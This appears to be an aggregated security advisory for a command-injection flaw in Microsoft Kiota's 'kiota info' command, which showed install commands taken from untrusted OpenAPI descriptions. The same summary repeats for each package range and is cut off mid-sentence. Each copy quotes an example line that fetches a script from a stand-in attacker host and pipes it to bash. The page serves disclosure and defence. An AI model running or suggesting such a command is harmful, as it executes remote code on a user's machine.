vulnerability / NVI-00015094 / Revision 1
Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`
GitHub lists this reviewed advisory for Microsoft.OpenApi.Kiota, Microsoft.OpenApi.Kiota.Builder, Microsoft.OpenApi.Kiota, Microsoft.OpenApi.Kiota.Builder. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
Microsoft.OpenApi.Kiota
source listed>= 1.30.0, < 1.32.5
### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the install-comm
Microsoft.OpenApi.Kiota.Builder
source listed>= 1.30.0, < 1.32.5
### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the install-comm
Microsoft.OpenApi.Kiota
source listed< 1.29.1
### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the install-comm
Microsoft.OpenApi.Kiota.Builder
source listed< 1.29.1
### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the install-comm
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-hq9q-27g5-qwpj ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.